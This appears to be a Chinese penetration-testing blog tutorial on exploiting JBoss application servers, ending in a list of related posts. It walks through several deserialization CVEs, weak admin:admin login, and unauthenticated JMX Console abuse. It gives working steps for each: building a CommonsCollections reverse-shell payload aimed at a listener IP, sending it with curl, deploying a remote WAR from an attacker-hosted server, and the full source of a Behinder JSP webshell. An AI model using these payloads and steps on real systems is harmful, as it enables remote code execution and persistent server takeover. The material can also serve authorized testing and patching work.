服务攻防——中间件Jboss

文章目录

  • 一、Jboss简介
  • 二、Jboss渗透
    • [2.1 JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)](#2.1 JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149))
    • [2.2 JBoss JMXInvokerServlet 反序列化漏洞(CVE-2015-7501)](#2.2 JBoss JMXInvokerServlet 反序列化漏洞(CVE-2015-7501))
    • [2.3 JBossMQ JMS 反序列化漏洞(CVE-2017-7504)](#2.3 JBossMQ JMS 反序列化漏洞(CVE-2017-7504))
    • [2.4 Administration Console 弱口令](#2.4 Administration Console 弱口令)
    • [2.5 JBoss EJBInvokerServle 反序列化漏洞(CVE-2013-4810)](#2.5 JBoss EJBInvokerServle 反序列化漏洞(CVE-2013-4810))
    • [2.6 高版本JMX Console未授权访问](#2.6 高版本JMX Console未授权访问)
    • [2.7 JMX Console HtmlAdaptor Getshell利用](#2.7 JMX Console HtmlAdaptor Getshell利用)

一、Jboss简介

JBoss是一个基于J2EE的开发源代码的应用服务器,一般与Tomcat或Jetty绑定使用。默认端口:8080、9990

二、Jboss渗透

2.1 JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)

JBOSS Application Server反序列化命令执行漏洞(CVE-2017-12149),远程攻击者利用漏洞可在未经任何身份验证的服务器主机上执行任意代码

影响版本:JBoss 5.x/6.x

1)验证是否存在该漏洞

访问:https://xxx/invoker/readonly,返回500,则说明存在此漏洞。

2)漏洞利用

工具:JavaDeserH2HC

(1)生成ReverseShellCommonsCollectionsHashMap.class

bash 复制代码
javac -cp commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java

(2)生成ReverseShellCommonsCollectionsHashMap.ser

bash 复制代码
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.253.9:8888
# ip是nc所在的ip

(3)利用Map.ser:

bash 复制代码
curl http://192.168.253.89:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser

2.2 JBoss JMXInvokerServlet 反序列化漏洞(CVE-2015-7501)

由于JBoss中invoker/JMXInvokerServlet路径对外开放,JBoss的jmx组件支持Java反序列化!

漏洞影响

Red Hat JBoss A-MQ 6.x版本;BPM Suite (BPMS) 6.x版本;BRMS 6.x版本和5.x版本;Data Grid (JDG) 6.x版本;Data Virtualization (JDV) 6.x版本和5.x版本;Enterprise Application Platform 6.x版本,5.x版本和4.3.x版本;Fuse 6.x版本;Fuse Service Works (FSW) 6.x版本;Operations Network (JBoss ON) 3.x版本;Portal 6.x版本;SOA Platform (SOA-P) 5.x版本;Web Server (JWS) 3.x版本;Red Hat OpenShift/xPAAS 3.x版本;Red Hat Subscription Asset Manager 1.3版本。

1)验证漏洞

访问http://xxx/invoker/JMXInvokerServlet,返回如下,说明接口开放,此接口存在反序列化漏洞。

2)漏洞利用

这里直接利用CVE-2017-12149生成的ser,发送到/invoker/JMXInvokerServlet接口中:

bash 复制代码
curl http://192.168.253.89:8080/invoker/JMXInvokerServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser

2.3 JBossMQ JMS 反序列化漏洞(CVE-2017-7504)

漏洞简介:JBoss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。

影响范围JBoss 4.x 以及之前的所有版本!

正常情况,会出现如下界面:

验证漏洞是否存在 :访问/jbossmq-httpil/HTTPServerILServlet,出现如下页面则存在漏洞!

漏洞利用 :直接利用CVE-2017-12149生成的ser,发送到/jbossmq-httpil/HTTPServerILServlet接口中:

bash 复制代码
curl http://192.168.253.91:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser

2.4 Administration Console 弱口令

Administration Console管理页面存在弱口令,admin:admin,登陆后台上传war包!

1)存在管理页面

2)爆破或弱口令登录

admin/admin登录

3)上传war木马

点击Add a new resource,上传war包

成功上传dayu.war!!点击创建的war包进入下一层,若状态为stop,点击Start按钮(默认都是start状态,不需要点击Start按钮):

4)成功控制

访问:http://192.168.253.89:8080/dayu/dayu.jsp

或者上传冰蝎一句话jsp:

2.5 JBoss EJBInvokerServle 反序列化漏洞(CVE-2013-4810)

输入http://x.x.x.x:8080/invoker/EJBInvokerServle能返回结果就可以利用!

与CVE-2015-7501漏洞原理相同,这里详细介绍一下两者的区别,其区别就在于两个漏洞选择的进行其中JMXInvokerServlet和EJBInvokerServlet利用的是org.jboss.invocation.MarshalledValue进行的反序列化操作,而web-console/Invoker利用的是org.jboss.console.remote.RemoteMBeanInvocation进行反序列化并上传构造的文件。

2.6 高版本JMX Console未授权访问

JMX Console默认存在未授权访问,直接点击JBoss主页中的JMX Console链接进入JMX Console页面。

在JMX Console页面点击jboss.system链接,在Jboss.system页面中点击service=MainDeployer,如下:

进入service=MainDeployer页面之后,找到methodIndex为17 or 19的deploy 填写远程war包地址进行远程部署:


Kali部署远程war包地址:python3 -m SimpleHTTPServer 80

输入Invoke:http://192.168.253.89:8080/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://192.168.253.9/dayutest.war

点击后部署成功!

访问:http://192.168.253.89:8080/dayutest/shell.jsp

冰蝎成功控制:

2.7 JMX Console HtmlAdaptor Getshell利用

漏洞原理 :此漏洞主要是由于JBoss中/jmx-console/HtmlAdaptor路径对外开放,并且没有任何身份验证机制,导致攻击者可以进入到jmx控制台,并在其中执行任何功能。该漏洞利用的是后台中jboss.admin -> DeploymentFileRepository -> store()方法,通过向四个参数传入信息,达到上传shell的目的。

  • arg0传入的是部署的war包名字;
  • arg1传入的是上传的文件的文件名;
  • arg2传入的是上传文件的文件格式;
  • arg3传入的是上传文件中的内容。

通过控制这四个参数即可上传shell,控制整台服务器。但是通过实验发现,arg1和arg2可以进行文件的拼接,例如arg1=she,arg2=ll.jsp。这个时候服务器还是会进行拼接,将shell.jsp传入到指定路径下!

影响范围 :Jboss 4.x及以下
漏洞复现

1)定位到store位置:http://192.168.253.91:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.admin:service=DeploymentFileRepository

定位到store⽅法,通过向四个参数传入信息,达到上传shell的目。

  • arg1传入的是部署的war包名字;
  • arg2传入的是上传的文件的文件名;
  • arg3传入的是上传文件的文件格式;
  • arg4传入的是上传文件中的内容

写入warjsp内容为冰蝎。

注意为.jsp

bash 复制代码
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>

部署war包

成功写入,尝试上线冰蝎:

自动化渗透测试工具:jexboss

相关推荐
ASKCOS1 天前
DeerFlow Agent 中间件架构:用插件化链彻底告别 Agent 继承式开发
中间件·架构
阿昌喜欢吃黄桃19 天前
RocketMq事务消息原理
java·中间件·消息队列·rocketmq·mq
半夜修仙20 天前
延迟队列的介绍及常见问题
java·数据库·中间件·rabbitmq
手握风云-20 天前
一条消息的旅程:RabbitMQ 学习与实践(一)
中间件·rabbitmq
RH23121120 天前
2026.6.8Linux
java·数据库·中间件
理人综艺好会21 天前
双Token机制在实际项目中的应用与实践
中间件·token
番茄去哪了22 天前
神领物流面试题(一)
java·大数据·中间件
念何架构之路22 天前
消息中间件
中间件
都说名字长不会被发现22 天前
Spring Boot Starter 中间件账号密码加密方案设计与实现
java·spring boot·后端·中间件
瀚高PG实验室22 天前
java中间件无法连接数据库
java·数据库·中间件·瀚高数据库